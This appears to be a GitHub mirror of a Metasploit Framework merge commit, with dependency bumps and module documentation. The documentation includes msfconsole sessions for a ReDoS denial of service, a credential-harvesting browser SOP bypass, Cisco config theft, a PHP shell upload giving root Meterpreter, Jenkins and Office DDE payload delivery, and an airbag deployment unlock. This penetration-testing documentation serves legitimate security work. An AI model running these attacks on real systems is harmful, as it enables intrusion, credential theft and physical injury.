mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
Merge branch 'upstream-master' into land-9296-
This commit is contained in:
commit
210f137b7b
19
Gemfile.lock
19
Gemfile.lock
@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.16.23)
|
||||
metasploit-framework (4.16.25)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@ -17,9 +17,9 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.19)
|
||||
metasploit-payloads (= 1.3.20)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.2.8)
|
||||
metasploit_payloads-mettle (= 0.3.2)
|
||||
msgpack
|
||||
nessus_rest
|
||||
net-ssh
|
||||
@ -37,7 +37,6 @@ PATH
|
||||
railties
|
||||
rb-readline
|
||||
rbnacl (< 5.0.0)
|
||||
rbnacl-libsodium
|
||||
recog
|
||||
redcarpet
|
||||
rex-arch
|
||||
@ -138,7 +137,7 @@ GEM
|
||||
multi_json (~> 1.11)
|
||||
os (~> 0.9)
|
||||
signet (~> 0.7)
|
||||
grpc (1.7.3)
|
||||
grpc (1.8.0)
|
||||
google-protobuf (~> 3.1)
|
||||
googleapis-common-protos-types (~> 1.0.0)
|
||||
googleauth (>= 0.5.1, < 0.7)
|
||||
@ -178,7 +177,7 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.19)
|
||||
metasploit-payloads (1.3.20)
|
||||
metasploit_data_models (2.0.15)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@ -189,7 +188,7 @@ GEM
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.2.8)
|
||||
metasploit_payloads-mettle (0.3.2)
|
||||
method_source (0.9.0)
|
||||
mini_portile2 (2.3.0)
|
||||
minitest (5.10.3)
|
||||
@ -232,8 +231,8 @@ GEM
|
||||
rack (>= 1.0)
|
||||
rails-deprecated_sanitizer (1.0.3)
|
||||
activesupport (>= 4.2.0.alpha)
|
||||
rails-dom-testing (1.0.8)
|
||||
activesupport (>= 4.2.0.beta, < 5.0)
|
||||
rails-dom-testing (1.0.9)
|
||||
activesupport (>= 4.2.0, < 5.0)
|
||||
nokogiri (~> 1.6)
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.0.3)
|
||||
@ -247,8 +246,6 @@ GEM
|
||||
rb-readline (0.5.5)
|
||||
rbnacl (4.0.2)
|
||||
ffi
|
||||
rbnacl-libsodium (1.0.15.1)
|
||||
rbnacl (>= 3.0.1)
|
||||
recog (2.1.17)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
|
BIN
data/exploits/pfsense_clickjacking/background.jpg
Normal file
BIN
data/exploits/pfsense_clickjacking/background.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 1.4 MiB |
6
data/exploits/pfsense_clickjacking/cookieconsent.min.css
vendored
Normal file
6
data/exploits/pfsense_clickjacking/cookieconsent.min.css
vendored
Normal file
@ -0,0 +1,6 @@
|
||||
.cc-window{opacity:1;transition:opacity 1s ease}.cc-window.cc-invisible{opacity:0}.cc-animate.cc-revoke{transition:transform 1s ease}.cc-animate.cc-revoke.cc-top{transform:translateY(-2em)}.cc-animate.cc-revoke.cc-bottom{transform:translateY(2em)}.cc-animate.cc-revoke.cc-active.cc-bottom,.cc-animate.cc-revoke.cc-active.cc-top,.cc-revoke:hover{transform:translateY(0)}.cc-grower{max-height:0;overflow:hidden;transition:max-height 1s}
|
||||
.cc-link,.cc-revoke:hover{text-decoration:underline}.cc-revoke,.cc-window{position:fixed;overflow:hidden;box-sizing:border-box;font-family:Helvetica,Calibri,Arial,sans-serif;font-size:16px;line-height:1.5em;display:-ms-flexbox;display:flex;-ms-flex-wrap:nowrap;flex-wrap:nowrap;z-index:9999}.cc-window.cc-static{position:static}.cc-window.cc-floating{padding:2em;max-width:24em;-ms-flex-direction:column;flex-direction:column}.cc-window.cc-banner{padding:1em 1.8em;width:100%;-ms-flex-direction:row;flex-direction:row}.cc-revoke{padding:.5em}.cc-header{font-size:18px;font-weight:700}.cc-btn,.cc-close,.cc-link,.cc-revoke{cursor:pointer}.cc-link{opacity:.8;display:inline-block;padding:.2em}.cc-link:hover{opacity:1}.cc-link:active,.cc-link:visited{color:initial}.cc-btn{display:block;padding:.4em .8em;font-size:.9em;font-weight:700;border-width:2px;border-style:solid;text-align:center;white-space:nowrap}.cc-banner .cc-btn:last-child{min-width:140px}.cc-highlight .cc-btn:first-child{background-color:transparent;border-color:transparent}.cc-highlight .cc-btn:first-child:focus,.cc-highlight .cc-btn:first-child:hover{background-color:transparent;text-decoration:underline}.cc-close{display:block;position:absolute;top:.5em;right:.5em;font-size:1.6em;opacity:.9;line-height:.75}.cc-close:focus,.cc-close:hover{opacity:1}
|
||||
.cc-revoke.cc-top{top:0;left:3em;border-bottom-left-radius:.5em;border-bottom-right-radius:.5em}.cc-revoke.cc-bottom{bottom:0;left:3em;border-top-left-radius:.5em;border-top-right-radius:.5em}.cc-revoke.cc-left{left:3em;right:unset}.cc-revoke.cc-right{right:3em;left:unset}.cc-top{top:1em}.cc-left{left:1em}.cc-right{right:1em}.cc-bottom{bottom:1em}.cc-floating>.cc-link{margin-bottom:1em}.cc-floating .cc-message{display:block;margin-bottom:1em}.cc-window.cc-floating .cc-compliance{-ms-flex:1;flex:1}.cc-window.cc-banner{-ms-flex-align:center;align-items:center}.cc-banner.cc-top{left:0;right:0;top:0}.cc-banner.cc-bottom{left:0;right:0;bottom:0}.cc-banner .cc-message{-ms-flex:1;flex:1}.cc-compliance{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-line-pack:justify;align-content:space-between}.cc-compliance>.cc-btn{-ms-flex:1;flex:1}.cc-btn+.cc-btn{margin-left:.5em}
|
||||
@media print{.cc-revoke,.cc-window{display:none}}@media screen and (max-width:900px){.cc-btn{white-space:normal}}@media screen and (max-width:414px) and (orientation:portrait),screen and (max-width:736px) and (orientation:landscape){.cc-window.cc-top{top:0}.cc-window.cc-bottom{bottom:0}.cc-window.cc-banner,.cc-window.cc-left,.cc-window.cc-right{left:0;right:0}.cc-window.cc-banner{-ms-flex-direction:column;flex-direction:column}.cc-window.cc-banner .cc-compliance{-ms-flex:1;flex:1}.cc-window.cc-floating{max-width:none}.cc-window .cc-message{margin-bottom:1em}.cc-window.cc-banner{-ms-flex-align:unset;align-items:unset}}
|
||||
.cc-floating.cc-theme-classic{padding:1.2em;border-radius:5px}.cc-floating.cc-type-info.cc-theme-classic .cc-compliance{text-align:center;display:inline;-ms-flex:none;flex:none}.cc-theme-classic .cc-btn{border-radius:5px}.cc-theme-classic .cc-btn:last-child{min-width:140px}.cc-floating.cc-type-info.cc-theme-classic .cc-btn{display:inline-block}
|
||||
.cc-theme-edgeless.cc-window{padding:0}.cc-floating.cc-theme-edgeless .cc-message{margin:2em 2em 1.5em}.cc-banner.cc-theme-edgeless .cc-btn{margin:0;padding:.8em 1.8em;height:100%}.cc-banner.cc-theme-edgeless .cc-message{margin-left:1em}.cc-floating.cc-theme-edgeless .cc-btn+.cc-btn{margin-left:0}
|
1
data/exploits/pfsense_clickjacking/cookieconsent.min.js
vendored
Normal file
1
data/exploits/pfsense_clickjacking/cookieconsent.min.js
vendored
Normal file
File diff suppressed because one or more lines are too long
@ -0,0 +1,67 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
|
||||
in the npm module `ua-parser-js`. Versions before 0.7.16 are vulnerable.
|
||||
Any application that uses a vulnerable version of this module and calls the `getOS`
|
||||
or `getResult` functions will be vulnerable to this module. An example server is provided
|
||||
below.
|
||||
|
||||
## How to Install
|
||||
|
||||
To install a vulnerable version of `ua-parser-js`, run:
|
||||
```
|
||||
npm i ua-parser-js@0.7.15
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Create a new directory for test application.
|
||||
2. Copy below example server into test application directory as `server.js`.
|
||||
3. Run `npm i express` to install express in the test application directory.
|
||||
4. To test vulnerable versions of the module, run `npm i ua-parser-js@0.7.15` to install a vulnerable version of ua-parser-js.
|
||||
5. To test non-vulnerable versions of the module, run `npm i ua-parser-js` to install the latest version of ua-parser-js.
|
||||
6. Once all dependencies are installed, run the server with `node server.js`.
|
||||
7. Open up a new terminal.
|
||||
8. Start msfconsole.
|
||||
9. `use auxiliary/dos/http/ua_parser_js_redos`.
|
||||
10. `set RHOST [IP]`.
|
||||
11. `run`.
|
||||
12. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
|
||||
13. In non-vulnerable installations, module should have negative output and the test application should accept further requests.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### ua-parser-js npm module version 0.7.15
|
||||
|
||||
Expected output for successful exploitation:
|
||||
|
||||
```
|
||||
[*] Testing Service to make sure it is working.
|
||||
[*] Test request successful, attempting to send payload
|
||||
[*] Sending ReDoS request to 192.168.3.24:3000.
|
||||
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
|
||||
[*] Testing for service unresponsiveness.
|
||||
[+] Service not responding.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Example Vulnerable Application
|
||||
|
||||
```
|
||||
// npm i express
|
||||
// npm i ua-parser-js@0.7.15 (vulnerable)
|
||||
// npm i ua-parser-js (non-vulnerable)
|
||||
|
||||
const express = require('express')
|
||||
const uaParser = require('ua-parser-js');
|
||||
const app = express()
|
||||
|
||||
app.get('/', (req, res) => {
|
||||
var parser = new uaParser(req.headers['user-agent']);
|
||||
res.end(JSON.stringify(parser.getResult()));
|
||||
});
|
||||
|
||||
app.listen(3000, '0.0.0.0', () => console.log('Example app listening on port 3000!'))
|
||||
```
|
@ -0,0 +1,56 @@
|
||||
## Description
|
||||
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the Samsung Internet Browser (CVE-2017-17692), a popular mobile browser shipping with Samsung Android devices. By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather credentials via a fake pop-up and the gather credentials is stored in `creds`
|
||||
|
||||
## Vulnerable Application
|
||||
This Module was tested on Samsung Internet Browser 5.4.02.3 during development.
|
||||
|
||||
## Verification Steps
|
||||
1. Start `msfconsole -q`
|
||||
2. `use auxiliary/gather/samsung_browser_sop_bypass`
|
||||
3. `set SRVHOST`
|
||||
4. `set SRVPORT`
|
||||
5. `set URIPATH`
|
||||
6. `set TARGET_URL`
|
||||
5. `run`
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
$ sudo msfconsole -q
|
||||
msf > use auxiliary/gather/samsung_browser_sop_bypass
|
||||
msf auxiliary(samsung_browser_sop_bypass) > set SRVHOST 192.168.1.104
|
||||
SRVHOST => 192.168.1.104
|
||||
msf auxiliary(samsung_browser_sop_bypass) > set SRVPORT 9090
|
||||
SRVPORT => 9090
|
||||
msf auxiliary(samsung_browser_sop_bypass) > set URIPATH /
|
||||
URIPATH => /
|
||||
msf auxiliary(samsung_browser_sop_bypass) > set TARGET_URL https://www.google.com/csi
|
||||
TARGET_URL => https://www.google.com/csi
|
||||
msf auxiliary(samsung_browser_sop_bypass) > run
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(samsung_browser_sop_bypass) >
|
||||
[*] Using URL: http://192.168.1.104:9090/
|
||||
[*] Server started.
|
||||
[*] 192.168.1.101: Request 'GET /'
|
||||
[*] 192.168.1.101: Attempting to spoof origin for https://www.google.com/csi
|
||||
[*] 192.168.1.101: Request 'GET /favicon.ico'
|
||||
[*] 192.168.1.101: Attempting to spoof origin for https://www.google.com/csi
|
||||
[*] 192.168.1.101: Request 'GET /favicon.ico'
|
||||
[*] 192.168.1.101: Attempting to spoof origin for https://www.google.com/csi
|
||||
[+] 192.168.1.101: Collected credential for 'https://www.google.com/csi' emailID:MyStrongPassword
|
||||
|
||||
msf auxiliary(samsung_browser_sop_bypass) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type
|
||||
---- ------ ------- ------ ------- ----- ------------
|
||||
emailID MyStrongPassword https://www.google.com/csi Password
|
||||
|
||||
msf auxiliary(samsung_browser_sop_bypass) >
|
||||
```
|
||||
|
||||
## Demos
|
||||
|
||||
Working of MSF Module: `https://youtu.be/ulU98cWVhoI`
|
||||
|
||||
Vulnerable Browser: `https://youtu.be/lpkbogxJXnw`
|
@ -5,13 +5,28 @@
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/misc/cisco_smart_install```
|
||||
2. Do: ```set [RHOSTS]```, replacing ```[RHOSTS]``` with a list of hosts to test for the presence of SMI
|
||||
2. Do: ```set ACTION SCAN```
|
||||
3. Do: ```set [RHOSTS]```, replacing ```[RHOSTS]``` with a list of hosts to test for the presence of SMI
|
||||
3. Do: ```run```
|
||||
4. If the host is exposing an identifiable SMI instance, it will print the endpoint.
|
||||
|
||||
## Options
|
||||
|
||||
### SLEEP
|
||||
Time to wait for connection back from target. Default is `60` seconds if using `DOWNLOAD` action
|
||||
|
||||
### LHOST
|
||||
Address to bind to for TFTP server to accept connections if using `DOWNLOAD` action
|
||||
|
||||
## Actions
|
||||
There are two actions, default being ```SCAN```
|
||||
|
||||
1. **SCAN** - Scan for Smart Install endpoints. [Default]
|
||||
2. **DOWNLOAD** - Request devices configuration and send to our TFTP server
|
||||
|
||||
## Scenarios
|
||||
|
||||
Using the default `SCAN` action
|
||||
```
|
||||
msf auxiliary(cisco_smart_install) > run
|
||||
|
||||
@ -28,3 +43,19 @@ msf auxiliary(cisco_smart_install) > run
|
||||
[*] Scanned 512 of 512 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Using the `DOWNLOAD` action
|
||||
|
||||
```
|
||||
[*] 192.168.0.26:4786 - Starting TFTP Server...
|
||||
[+] 192.168.0.26:4786 - Fingerprinted the Cisco Smart Install protocol
|
||||
[*] 192.168.0.26:4786 - Attempting copy system:running-config tftp://192.168.0.11/kWqjngYF
|
||||
[*] 192.168.0.26:4786 - Waiting 60 seconds for configuration
|
||||
[*] 192.168.0.26:4786 - Incoming file from 192.168.0.26 - kWqjngYF (31036 bytes)
|
||||
[+] 192.168.0.26:4786 - 192.168.0.26:4786 Decrypted Enable Password: testcase
|
||||
[+] 192.168.0.26:4786 - 192.168.0.26:4786 Username 'admin' with Decrypted Password: testcase)
|
||||
[*] 192.168.0.26:4786 - Providing some time for transfers to complete...
|
||||
[*] 192.168.0.26:4786 - Shutting down the TFTP service...
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
34
documentation/modules/auxiliary/scanner/wsdd/wsdd_query.md
Normal file
34
documentation/modules/auxiliary/scanner/wsdd/wsdd_query.md
Normal file
@ -0,0 +1,34 @@
|
||||
## Vulnerable Application
|
||||
|
||||
[Web Services Dynamic Discovery (WS-Discovery)](https://en.wikipedia.org/wiki/WS-Discovery) is a multicast discovery protocol utilising SOAP over UDP to locate web services on a local network.
|
||||
|
||||
Web service enabled devices typically include printers, scanners and file shares.
|
||||
|
||||
The reply from some devices may include optional vendor extensions. This data may include network information such as the device MAC address and hostname, or hardware information such as the serial number, make, and model.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use auxiliary/scanner/wsdd/wsdd_query`
|
||||
3. Do: `set RHOSTS [IP]` (Default: `239.255.255.250`)
|
||||
4. Do: `run`
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/wsdd/wsdd_query
|
||||
msf auxiliary(wsdd_query) > set rhosts 239.255.255.250
|
||||
rhosts => 239.255.255.250
|
||||
msf auxiliary(wsdd_query) > run
|
||||
|
||||
[*] Sending WS-Discovery probe to 1 hosts
|
||||
[+] 10.1.1.184 responded with:
|
||||
Address: http://10.1.1.184:3911/
|
||||
Types: wsdp:Device, wprt:PrintDeviceType, wscn:ScanDeviceType, hpd:hpDevice
|
||||
Vendor Extensions: {"HardwareAddress"=>"123456789ABC", "UUID"=>"12345678-1234-1234-abcd-123456789abc", "IPv4Address"=>"10.1.1.123", "Hostname"=>"HP09AAFB", "DeviceId"=>"MFG:HP;MDL:Photosmart 5520 series;DES:CX042A;", "DeviceIdentification"=>{"MakeAndModel"=>"Photosmart 5520 series", "MakeAndModelBase"=>"Photosmart 5520 series"}, "SerialNumber"=>"123456", "Services"=>" Print9100 SclScan RESTScan CIFS DOT4 LEDM", "AdapterType"=>"WifiEmbedded"}
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
@ -0,0 +1,40 @@
|
||||
## Description
|
||||
|
||||
This module exploits a file upload vulnerability found in Western Digital's MyCloud NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php PHP script provides multipart upload functionality that is accessible without authentication and can be used to place a file anywhere on the device's file system. This allows an attacker the ability to upload a PHP shell onto the device and obtain arbitrary code execution as root.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[Western Digital](https://www.wdc.com/) designs drives and network attached storage (NAS) devices for both consumers and businesses.
|
||||
|
||||
This module was tested successfully on a MyCloud PR4100 with firmware version 2.30.172 .
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use exploit/linux/http/wd_mycloud_multiupload_upload```
|
||||
2. Do: ```set RHOST [IP]```
|
||||
3. Do: ```check```
|
||||
4. It should be reported as vulnerable
|
||||
5. Do: ```run```
|
||||
6. You should get a shell
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/wd_mycloud_multiupload_upload
|
||||
msf exploit(wd_mycloud_multiupload_upload) > set RHOST 192.168.86.104
|
||||
RHOST => 192.168.86.104
|
||||
msf exploit(wd_mycloud_multiupload_upload) > check
|
||||
[+] 192.168.86.104:80 The target is vulnerable.
|
||||
msf exploit(wd_mycloud_multiupload_upload) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.215:4444
|
||||
[*] Uploading PHP payload (1124 bytes) to '/var/www'.
|
||||
[+] Uploaded PHP payload successfully.
|
||||
[*] Making request for '/.7bc5NqFMK5.php' to execute payload.
|
||||
[*] Sending stage (37543 bytes) to 192.168.86.104
|
||||
[*] Meterpreter session 1 opened (192.168.86.215:4444 -> 192.168.86.104:38086) at 2017-11-28 06:07:14 -0600
|
||||
[+] Deleted .7bc5NqFMK5.php
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root (0)
|
||||
```
|
@ -0,0 +1,62 @@
|
||||
Jenkins XStream Groovy classpath Deserialization Vulnerability (CVE-2016-0792)
|
||||
|
||||
This module exploits a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath, which allows remote arbitrary code execution. The issue affects default installations. Authentication is not required to exploit the vulnerability.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Jenkins versions < 1.650 and Jenkins LTS versions < 1.642.2
|
||||
|
||||
Download Jenkins (Windows) < version 1.650 from here:
|
||||
http://mirrors.jenkins-ci.org/windows/
|
||||
|
||||
Windows Installation: Double click .msi
|
||||
|
||||
Download Jenkins LTS (Debian) < version 1.642.2 from here:
|
||||
https://pkg.jenkins.io/debian-stable/
|
||||
|
||||
Download Jenkins (Debian) < version 1.650 from here:
|
||||
https://pkg.jenkins.io/debian/
|
||||
|
||||
Debian Installation: `sudo dpkg --install jenkins_1.642.1_all.deb`
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
The base path to Jenkins application `/` by default
|
||||
|
||||
**VHOST**
|
||||
|
||||
The HTTP server virtual host. You may need to configure this as well, even though it is set as optional.
|
||||
|
||||
**The Check Command**
|
||||
|
||||
The `jenkins_xstream_deserialize` module comes with a check command that can attempt to check if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the following:
|
||||
|
||||
Note: The check only uses `appears to be vulnerable` because it is not possible to differentiate from HTTP headers which Jenkins line (Weekly or LTS) is running.
|
||||
|
||||
```
|
||||
set RHOST [IP]
|
||||
|
||||
set TARGETURI [path to Jenkins]
|
||||
```
|
||||
|
||||
```
|
||||
msf exploit(jenkins_xstream_deserialize) > check
|
||||
|
||||
[*] 192.168.1.64:8080 The target appears to be vulnerable..
|
||||
```
|
||||
|
||||
**Exploiting the Host**
|
||||
|
||||
After identifying the vulnerability on the target machine, you can try to exploit it. Be sure to set TARGETURI to the correct URI for your application, and the TARGET variable for the appropriate host OS.
|
||||
|
||||
```
|
||||
msf exploit(jenkins_xstream_deserialize) > set RHOST 192.168.1.37
|
||||
RHOST => 192.168.1.37
|
||||
msf exploit(jenkins_xstream_deserialize) > set target 3
|
||||
target => 3
|
||||
msf exploit(jenkins_xstream_deserialize) > set payload windows/x64/meterpreter/reverse_tcp
|
||||
payload => windows/x64/meterpreter/reverse_tcp
|
||||
msf exploit(jenkins_xstream_deserialize) > exploit
|
||||
```
|
@ -0,0 +1,23 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This vulnerability affects any pfSense versions prior to 2.4.2-RELEASE.
|
||||
|
||||
## Vulnerable Setup
|
||||
|
||||
The victim should be able to access the WebGUI & must be logged in as admin in order for this exploit to work. Possibly the WebGUI's TLS certificate must be trusted in the browser.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use exploit/unix/http/pfsense_clickjacking`
|
||||
2. `set TARGETURI https://<ip WebGUI>`
|
||||
3. `exploit`
|
||||
4. Browse to the URL returned by MSF
|
||||
5. Click anywhere on the returned page
|
||||
6. Note that a new Meterpreter sessions was started.
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
The base path of the WebGUI. The default base path is https://192.168.1.1/
|
@ -0,0 +1,50 @@
|
||||
|
||||
Module abuses a feature in MS Field Equations that allow an user to execute an arbitrary application.
|
||||
|
||||
## Vulnerable Application
|
||||
All Microsoft Office versions
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/windows/fileformat/office_dde_delivery`
|
||||
3. Do: `set PAYLOAD [PAYLOAD]`
|
||||
4. Do: `run`
|
||||
|
||||
## Options
|
||||
### FILENAME
|
||||
Filename to output, whether injecting or generating a blank one
|
||||
|
||||
### INJECT_PATH
|
||||
Path to filename to inject
|
||||
|
||||
|
||||
## Example
|
||||
|
||||
```
|
||||
msf > use exploit/windows/fileformat/office_dde_delivery
|
||||
msf exploit(office_dde_delivery) > set FILENAME msf.rtf
|
||||
FILENAME => /home/mumbai/file.rtf
|
||||
msf exploit(office_dde_delivery) > set LHOST ens3
|
||||
LHOST => ens3
|
||||
msf exploit(office_dde_delivery) > set LPORT 35116
|
||||
LPORT => 35116
|
||||
msf exploit(office_dde_delivery) > run
|
||||
[*] Using URL: http://0.0.0.0:8080/DGADAcDZ
|
||||
[*] Local IP: http://192.1668.0.11:8080/DGADAcDZ
|
||||
[*] Server started.
|
||||
[*] Handling request for .sct from 192.168.0.24
|
||||
[*] Delivering payload to 192.168.0.24...
|
||||
[*] Sending stage (205379 bytes) to 192.168.0.24
|
||||
[*] Meterpreter session 1 opened (192.168.0.11:35116 -> 192.168.0.24:52217)
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : TEST-PC
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
77
documentation/modules/post/hardware/automotive/pdt.md
Normal file
77
documentation/modules/post/hardware/automotive/pdt.md
Normal file
@ -0,0 +1,77 @@
|
||||
Acting in the role of a Pyrotechnical Device Deployment Tool (PDT), this module will first query all Pyrotechnic Control Units (PCUs) in the target vehicle to discover how many pyrotechnic devices are present, then attempt to validate the security access token using the default simplified algorithm. On success, the vehicle will be in a state that is prepped to deploy its pyrotechnic devices (e.g. airbags, battery clamps, etc.) via the service routine. (ISO 26021)
|
||||
|
||||
This module is based on research by Johannes Braun and Juergen Duerrwang, which you can read more about [here](https://www.researchgate.net/publication/321183727_Security_Evaluation_of_an_Airbag-ECU_by_Reusing_Threat_Modeling_Artefacts) along with related [CVE-2017-14937](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14937).
|
||||
|
||||
## Options
|
||||
|
||||
**SRCID**
|
||||
|
||||
This is the SRC CAN ID for the PCU connection. Default is 0x7F1.
|
||||
|
||||
**DSTID**
|
||||
|
||||
This is the CAN ID of the expected response. Default is 0x7F9.
|
||||
|
||||
**CANBUS**
|
||||
|
||||
Determines which CAN bus to communicate on. Type 'supported_buses' for valid options.
|
||||
|
||||
**PADDING**
|
||||
|
||||
Optional byte-value to use for padding all CAN bus packets to an 8-byte length. Padding is disabled by default.
|
||||
|
||||
## Scenarios
|
||||
|
||||
A successful unlock and prepped-to-deploy of pyrotechnic devices in a target vehicle:
|
||||
|
||||
```
|
||||
$ ./msfconsole -q
|
||||
msf > use auxiliary/server/local_hwbridge
|
||||
msf auxiliary(local_hwbridge) > set uripath /
|
||||
uripath => /
|
||||
msf auxiliary(local_hwbridge) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
|
||||
[*] Using URL: http://0.0.0.0:8080/
|
||||
[*] Local IP: http://10.0.2.4:8080/
|
||||
[*] Server started.
|
||||
|
||||
msf auxiliary(local_hwbridge) > use auxiliary/client/hwbridge/connect
|
||||
msf auxiliary(connect) > run
|
||||
|
||||
[*] Attempting to connect to 127.0.0.1...
|
||||
[*] Hardware bridge interface session 1 opened (127.0.0.1 -> 127.0.0.1) at 2017-12-17 10:41:27 -0600
|
||||
[+] HWBridge session established
|
||||
[*] HW Specialty: {"automotive"=>true} Capabilities: {"can"=>true, "custom_methods"=>true}
|
||||
[!] NOTICE: You are about to leave the matrix. All actions performed on this hardware bridge
|
||||
[!] could have real world consequences. Use this module in a controlled testing
|
||||
[!] environment and with equipment you are authorized to perform testing on.
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf auxiliary(connect) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
hwbridge >
|
||||
hwbridge > run post/hardware/automotive/pdt canbus=<target CAN bus>
|
||||
|
||||
[*] Gathering Data...
|
||||
[*] VIN: 5555
|
||||
[*] Loop info (1 pyrotechnic devices):
|
||||
[*] 69 | battery clamp main battery
|
||||
[*] | Deployment Status: Fail ()
|
||||
[*] Number of PCUs in vehicle | 1
|
||||
[*] Info About First PCU
|
||||
[*] Address format this PCU(s) | 11 bit normal addressing
|
||||
[*] Number of pyrotechnic charges | 1
|
||||
[*] Version of ISO26021 standard | 1
|
||||
[*] ACL type | CAN only
|
||||
[*] ACL Type version | 1
|
||||
[*]
|
||||
[*] Switching to Diagnostic Session 0x04...
|
||||
[*] Getting Security Access Seed...
|
||||
[*] Success. Seed: ["01", "CF", "00", "00", "00"]
|
||||
[*] Attempting to unlock device...
|
||||
[*] Success!
|
||||
[!] Warning! You are now able to start the deployment of airbags in this vehicle
|
||||
[!] *** OCCUPANTS OF THE VEHICLE FACE POTENTIAL DEATH OR INJURY ***
|
||||
```
|
@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "4.16.23"
|
||||
VERSION = "4.16.25"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
@ -1,7 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base'
|
||||
|
||||
require 'msf/base/sessions/scriptable'
|
||||
require 'rex/post/hwbridge'
|
||||
|
||||
module Msf
|
||||
@ -24,6 +24,7 @@ class HWBridge < Rex::Post::HWBridge::Client
|
||||
# This interface supports interactive commands.
|
||||
#
|
||||
include Msf::Session::Interactive
|
||||
include Msf::Session::Scriptable
|
||||
|
||||
#
|
||||
# Initialize the HWBridge console
|
||||
|
@ -635,24 +635,26 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
||||
# Platform-agnostic archs go first
|
||||
case self.arch
|
||||
when 'java'
|
||||
'jar'
|
||||
['jar']
|
||||
when 'php'
|
||||
'php'
|
||||
['php']
|
||||
when 'python'
|
||||
'py'
|
||||
['py']
|
||||
else
|
||||
# otherwise we fall back to the platform
|
||||
case self.platform
|
||||
when 'windows'
|
||||
"#{self.arch}.dll"
|
||||
["#{self.arch}.dll"]
|
||||
when 'linux' , 'aix' , 'hpux' , 'irix' , 'unix'
|
||||
'lso'
|
||||
['bin', 'elf']
|
||||
when 'osx'
|
||||
['elf']
|
||||
when 'android', 'java'
|
||||
'jar'
|
||||
['jar']
|
||||
when 'php'
|
||||
'php'
|
||||
['php']
|
||||
when 'python'
|
||||
'py'
|
||||
['py']
|
||||
else
|
||||
nil
|
||||
end
|
||||
|
@ -143,6 +143,70 @@ module Exploit::Remote::DCERPC
|
||||
end
|
||||
end
|
||||
|
||||
# XXX: Copypasta from exploit/windows/smb/ms17_010_eternalblue
|
||||
#
|
||||
# https://github.com/CoreSecurity/impacket/blob/master/examples/getArch.py
|
||||
